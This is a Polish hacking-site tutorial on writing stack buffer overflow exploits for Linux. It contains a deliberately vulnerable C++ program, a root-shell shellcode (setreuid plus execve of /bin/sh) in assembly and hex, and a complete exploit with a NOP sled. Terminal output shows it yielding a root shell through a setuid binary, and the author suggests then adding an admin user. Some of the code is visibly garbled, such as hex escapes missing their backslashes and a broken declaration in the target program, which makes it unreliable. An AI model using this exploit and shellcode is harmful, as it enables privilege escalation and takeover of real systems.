Tytuł strony
Strona główna | Mapa serwisu | English version


    Treści zamieszczone na tej stronie służą wyłącznie do treści edukacyjnej... Administracja nie bierze żadnej odpowiedzialności za szkody spowodowane praktykowaniem materiałów tej witryny! Wszystko robicie na swoją odpowiedzialność!!

Exploity- dla początkujących
Artykuły > Hakerstwo > Exploity- dla początkujących
Postanowiłem, że napiszę tutorial nt. pisania exploitów, ponieważ wcześniej takowego nie zauważyłem. Uzupęłnię trochę wiedzę na forum wink.gif Wszystko zostanie wykonane na systemie Ubuntu 6.06 live CD, bo na 7.10 jest zabezpieczenie przy zmianie stosu. Linux to idealny system to rozpoczęcią nauki ;p Przydatna będzie lekka znajomość ASMa. 1. Co to w ogóle exploit ?? 2. Co to shellcode 3. Przykładowy program - ofiara 4. Piszemy shellcode wink.gif 5. Przykładowy exploit 1. Na początek warto wiedzieć co to jest tajemniczy sploit wink.gif Exploit to program mający na celu wykorzystanie błędów w oprogramowaniu. Najczęściej program taki wykorzystuje jedną z kilku popularnych technik, np. buffer overflow, heap overflow, format string. Exploit wykorzystuje występujący w oprogramowaniu błąd programistyczny i przejmuje kontrolę nad działaniem procesu – wykonując odpowiednio spreparowany kod (ang. bytecode), który najczęściej wykonuje wywołanie systemowe uruchamiające powłokę systemową (ang. shellcode) z uprawnieniami programu, w którym wykryto lukę w zabezpieczeniach. Ludzi używających exploitów bez podstawowej wiedzy o mechanizmach ich działania nazywa się script kiddies. (Źródło - Wikipedia) Od siebie dodam jak exploit przejmuje kontrolę. Przy kopiowaniu buforu (np. funkcją strcpy) nie jest przestrzegany limit długości buforu, tylko dane są kopiowane do napotkania bajtu zerowego (NULL'a). Oznacza on zakończenie jakiegoś łańcucha znaków. Kopiowanie takie odbywa się w specjalnym miejscu pamięci - na stosie. Przy przekraczaniu maksymalnej pojemności bufora, dane "zalewają" (stąd overflow) inne istotne dla systemu operacyjnego dane, m.in. adres powrotny z funkcji, która dokonała przepełnienia. Najciekawsze jest efekt samego nadpisania adresu. Gdy w buforze jest shellcode, a jego adres trafi w miejsce adresu powrotnego, sterowanie trafia w "ręce" shellcodu, który zazwyczaj uruchamia nową powłokę systemową z uprawnieniami root'a. 2. Teraz warto coś niecoś powiedzieć o shellcode (i znowu Wikipedia ;p) Shellcode - anglojęzyczny zlepek słów shell (powłoka) oraz code (kod) oznaczający prosty, niskopoziomowy program odpowiedzialny za wywołanie powłoki systemowej w ostatniej fazie wykorzystywania wielu błędów zabezpieczeń przez exploity. Dostarczany jest on zwykle wraz z innym wejściem użytkownika; na skutek wykorzystania luki w atakowanej aplikacji, procesor rozpoczyna wykonywanie shellcode, pozwalając na uzyskanie nieautoryzowanego dostępu do systemu komputerowego lub eskalacja uprawnień. Shellcode pisze się w asemblerze wink.gif - to tak od siebie. 3. Pora napisać przykładowy program - ofiarę, żeby było wiadomo o co tu właściwie biega. Program napiszę w C++ (w końcu to mój ulubiony HLL wink.gif) KOD // Przykładowy programik ofiara;) // vuln.cpp int strlen(const char * ptr); void strcpy(char *target, const char * source); int main(int argc, char *argv[]) { if (argc != 2) buffer[500]; strcpy(buffer, argv[1]); return 0; } int strlen(const char * ptr) { for (int i = 0;; i++) if (ptr[i] == '0') return i; } void strcpy(char *target, const char * source) { int len = strlen(source); for (int i = 0; i < len; i++) { target[i] = source[i]; } } Przykład wykonania takiego kodziku smile.gif KOD g++ vuln.cpp -o vuln ubuntu@ubuntu:/media/usbdisk/pliki/exploit$ ./vuln asdf Nic ciekawego się nie dzieje. Ale co się stanie w przypadku przepełnienia stosu ?? Posłużę się perlem, w celu przepełnienia buforu. KOD ubuntu@ubuntu:/media/usbdisk/pliki/exploit$ ./vuln `perl -e 'print "A"x600;'` Segmentation fault Jak widać 600 bajtów wystarczyło aż nadto żeby nadpisać stos. W przypadku wywołania tego programu, stos wygląda +/- tak: KOD Wyższe adresy |Jakieś dane| | EIP | Adres powrotny (EBP+4) | EBP | EBP (zachowany wskaźnik stosu (ESP)) |buffer[] | EBP-500 Niższe adresy Rejestr EIP (Extended Instruction Pointer) to nasz adres powrotny, który nadpisujemy. Rejestr EBP (Extended Base Pointer) to zachowany wcześniej ESP (Extended Stack Pointer), który tam siedzi w celu odtworzenia stanu stosu sprzed uruchomienia funkcji/procedury. 4. Ofiarę mamy, ale trzeba coś jej podrzucić, żebyśmy mogli przejąć kontrolę nad systemem... Shellcode napiszemy w asemblerze. Co nam będzie potrzebne?? - kompilator - NASM - dwie funkcje - setreuid(uid_t ruid, uid_t euid) i execve(). Pierwsza posłuży do przywrócenia uprawnień administratora (niektóre programy na rzecz bezpieczeństwa takowe uprawnienia "wyłączają"), druga posłuży do uruchomienia powłoki roota (/bin/sh). Kilka zasad dotyczących shellcodu: - Nie może posiadać bajtów zerowych, bo zostanie ucięty przy kopiowaniu - Musi się zmieścić w buforze i musi się w nim znajdować, żeby mógł być wykonany - Trzeba znać adres shella w pamięci - tym się zajmiemy później. Czas na uniwersalny shellcode (w postaci asma ;p) KOD BITS 32 xor eax, eax; zerujemy eax mov al, 70; setreuid xor ebx, ebx; ruid xor ecx, ecx; euid int 80h; Wywołujemy funkcję setreuid jmp short two one: xor eax,eax pop ebx mov [ebx+7],al mov [ebx+8], ebx mov [ebx+12], eax lea ecx, [ebx+8] lea edx, [ebx+12] mov al, 11; execve int 80h; no to mamy powłoczkę :) two: call one db '/bin/sh' Kod może się wydawać trochę niezrozumiały, ale teraz po krótce go trochę rozjaśnię smile.gif KOD xor eax, eax; zerujemy eax Jak wiadomo w asmie można zerować rejestry w sposób mov eax, 0, ale to zostawi w shellcode NULL'e więc ta metoda odpada. Metoda XOR rej1, rej2 opiera się na różnicy symetrycznej, gdy wszystko się zgadza wynik wynosi 0 i ląduje w rej1. KOD mov al, 70; setreuid xor ebx, ebx; ruid xor ecx, ecx; euid int 80h; Wywołujemy funkcję setreuid Tutaj wsadzamy w eax (część al - 1bajtowa) numerek funkcji systemowej nr 70. Jest to funkcja setreuid. Pierwszy jej parametr to prawdziwy identyfikator użytkownika, a drugi to efektywny. Oba ustawione na zero, bo chcemy prawa roota wink.gif Teraz wytłumaczę dlaczego mov al,70, a nie mov eax,70. Tutaj znowu chodzi o NULL'e. Rejestr EAX ma 4 bajty, a liczba 70 zmieści się w jednym. Trzeba jakoś wypełnić puste miejsca, więc w nich lądują zera. W tym wypadku trzeba użyć mniejszego rejestru (EAX dzieli się na AX + 32bity, AX dzieli się na AL i AH - oba 1bajtowe). W rejestrze AL zmieści się 70 więc wszystko jest OK. KOD jmp short two one: ;... two: call one db '/bin/sh' A po co ten dziwny fragment ?? To dlatego, że shellcode musi być zamodzielnym kodem binarnym, a nie programy. W programie znalazłoby się miejsce dla ciągu /bin/sh w sekcji .data, ale my takiej sekcji nie posiadamy. Taki ciąg znaków nie może być instrukcją dla procesora więc jest pomijany, zaraz wyjaśnię jak. 1. Wykonywany jest rozkaz skoku do etykiety two, skok nie zostawia adresu powrotnego na stosie więc sam roboty nie odwali. 2. Instrukcja wywołania (call) odwołuje się do etykiety one, przy czym zostawia na stosie adres powrotny, a tym adresem jest właśnie adres naszego ciągu znaków wink.gif 3. Później zostaje pobrać adres ciągu ze stosu i dodać mu bajt zerowy. KOD one: xor eax,eax pop ebx mov [ebx+7],al mov [ebx+8], ebx mov [ebx+12], eax lea ecx, [ebx+8] lea edx, [ebx+12] mov al, 11; execve int 80h; no to mamy powłoczkę :) Na początku zerujemy eax, aby posiadać bajt zerowy dla ciągu znaków. Zdejmujemy adres ciągu, który ląduje w rejestrze EBX. [ebx+7] oznacza adres początku rejestru EBX + 7 bajtów, co wskazuje na koniec ciągu /bin/sh, gdzie ląduje bajt zerowy z rejestru AL. Dalej do rejestru EBX, lądują adresy rejestrów EBX (samego siebie xD) i EAX, a to dlatego, że funkcja execve przyjmuje jako pierwszy parametr adres ciągu (nazwy progsa, który ma odpalić), w drugim i trzecim parametrze lądują wskaźniki do wskaźników, czyli char *argv[] i char *envp[]. Wskaźniki te ładują instrukcje lea. Na końcu zostaje wsadzenie do rejestru AL, numeru funkcji systemowej i odpalenie powłoczki. Po tym napisaniu shella asemblujemy go KOD nasm shellcode.asm -o shellcode Otwieramy plik shellcode programem hexedit (lub innym edytorem szesnastkowym) i kod szesnastkowy sprowadzamy do postaci: KOD x31xc0xb0x46x31xdbx31xc9xcdx80xebx16x5bx31xc0x88x43x07x89x5bx08x89x43x0cxb0x0bx8 dx4bx08x8dx53x0cxcdx80xe8xe5xffxffxffx2fx62x69x6ex2fx73x68 Czyli przed każdym bajtem dodajemy x, usuwamy wszystkie spacje (jeśli tak skopiowaliśmy) i zmieniamy duże litery na małe. No to shellcode mamy gotowy smile.gif 5. Przykładowy sploit smile.gif Jak już wcześniej pisałem, musimy znać adres bufora w pamięci. Będzie się on kołatał gdzieś koło adresu wskazywanego przez ESP. Pewna funkcja zwróci nam zawartość tego rejestru. Odejmując od tego adresu jakiś offset można ustalić adres każdej zmiennej znajdującej się na stosie. Ale czy napewno trafimy w odpowiedni adres ?? Moglibyśmy próbować do upadłego aż trafimy, istnieje jednak technika która nam to znacznie ułatwi, zowie się Pułapką NOP. Pułapka NOP to kilka instrukcji NOP(0x90), które nie robią nic, po prostu adres wykonania będzie przechodził przez kolejne bajty tej pułapki do napotkania shellcodu. Im więcej NOPu tym większa szansa na trafienie wink.gif Teraz coś o adresie powrotnym. Gdyby wstawić jeden adres na końcu buforu (czy - gdzieś pod koniec) nie wiemy czy poprawnie nadpisze EIP. W celu pewnego nadpisania wypełnimy koniec buforu tym adresem. Czas na kodzik smile.gif KOD // Przykładowy exploit #include using namespace std; char shellcode[] = "x31xc0xb0x46x31xdbx31xc9xcdx80xebx16x5bx31xc0x88" "x43x07x89x5bx08x89x43x0cxb0x0bx8dx4bx08x8dx53x0c" "xcdx80xe8xe5xffxffxffx2fx62x69x6ex2fx73x68"; unsigned long sp(void) // Funkcja zwraca nam rejestr ESP { __asm__("movl %esp,%eax"); } int main(int argc, char *argv[]) { if (argc != 2) { cout << "Uzycie: " << argv[0] << " nn"; return 0; } char *buffer; int offset, i; unsigned long ret, esp; buffer = new char[600]; // 600 bajtów dla buforu offset = atoi(argv[1]); esp = sp(); ret = esp - offset; // Adres, którym nadpiszemy EIP cout << "ESP: " << esp << endl; cout << "Offset: " << offset << endl; cout << "Ret: " << ret << endl; // Wypełnienie bufora adresami powrotnymi do shellcodu for (i = 0; i < 600; i+=4) *(unsigned long*)&buffer[i] = ret; // Wypełnienie 300 pierwszych bajtów bufora NOP'ami memset(buffer, 0x90, 300); // Wstawienie do bufora shellcode'u memcpy(&buffer[300], shellcode, strlen(shellcode)); buffer[599] = '0'; // Zakończenie bufora cout << "Buffer: " << strlen(buffer) << endl; execl("./vuln", "vuln", buffer, 0); return 0; } Kodzik gotowy. KOD g++ exploit.cpp -o exploit Pora na próbę, czyli - sprawdźmy cośmy narobili KOD ubuntu@ubuntu:/media/usbdisk/pliki/exploit$ ./exploit 500 ESP: 3220720248 Offset: 500 Ret: 3220719748 Buffer: 599 Segmentation fault ubuntu@ubuntu:/media/usbdisk/pliki/exploit$ ./exploit 600 ESP: 3220915368 Offset: 600 Ret: 3220914768 Buffer: 599 Segmentation fault ubuntu@ubuntu:/media/usbdisk/pliki/exploit$ ./exploit 700 ESP: 3215605224 Offset: 700 Ret: 3215604524 Buffer: 599 sh-3.1$ whoami ubuntu sh-3.1$ exit Co widzimy ?? Po trzeciej próbie (przy offsecie 700), shellcode zostaje wykonany. Jednak nadużycie jest właściwie do niczego. Dlaczego ? Program - ofiara nie ma ustawionego bitu suid, czyli nie należy do roota i nie ma jego praw. Ustawmy je KOD sudo chown root vuln sudo chmod +s vuln Teraz nadużycie da nam pożądane skutki wink.gif KOD ubuntu@ubuntu:/media/usbdisk/pliki/exploit$ ./exploit 700 ESP: 3220409608 Offset: 700 Ret: 3220408908 Buffer: 599 Segmentation fault ubuntu@ubuntu:/media/usbdisk/pliki/exploit$ ./exploit 600 ESP: 3212830344 Offset: 600 Ret: 3212829744 Buffer: 599 Segmentation fault ubuntu@ubuntu:/media/usbdisk/pliki/exploit$ ./exploit 800 ESP: 3214399848 Offset: 800 Ret: 3214399048 Buffer: 599 sh-3.1# whoami root Udało się biggrin.gif Mamy prawa admina i możemy robić co się nam podoba. Można dodać własnego usera do /bin/passwd z prawami admina itp... To już koniec, mam nadzieję, że niektórym userom się rozjaśni co to exploit, jak działa i jak jest zbudowany. Przepraszam za błędy
To jest stopka